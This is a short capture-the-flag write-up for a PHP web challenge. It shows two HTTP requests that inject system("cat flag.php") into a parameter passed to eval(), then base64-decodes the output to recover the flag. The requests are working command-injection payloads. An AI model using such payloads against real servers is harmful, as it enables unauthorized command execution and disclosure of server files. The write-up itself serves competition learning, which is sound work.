Tags: eval php
Rating:
# ▼▼▼Evaluation(Web:50pt) 376/780=48.2%▼▼▼
**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```
Evaluate your life.
How are you doing, and are you doing the best you can possibly do?
Look deeper within yourself, beyond the obvious.
Look at the source of it all.
Also, here's a PHP challenge.
http://evaluation.web1.sunshinectf.org
Author: hackucf_levi
Update 2018-04-06 01:15 UTC: Back online!
```
```
```
---
**【Confirm source code】**
`eval()` will execute arbitrary source code!!
---
**【TRY1】**
```
GET /?hello=system(%22cat%20flag.php%22) HTTP/1.1
Host: evaluation.web1.sunshinectf.org
```
↓
```
string(2) "?>"
```
↓
failed!!
---
**【TRY2】**
```
GET /?hello=system(%22cat%20flag.php|base64%22) HTTP/1.1
Host: evaluation.web1.sunshinectf.org
```
↓
`PD9waHAgCiRmbGFnID0iTm9wZSI7CgovLyBzdW57YzBtbTRuRF8xTmozY3RpMG5faTVfRTRzWX07 Cgo/Pg== string(8) "Cgo/Pg=="`
↓
`PD9waHAgCiRmbGFnID0iTm9wZSI7CgovLyBzdW57YzBtbTRuRF8xTmozY3RpMG5faTVfRTRzWX07`
↓Decode with base64
```
```
↓
`sun{c0mm4nD_1Nj3cti0n_i5_E4sY}`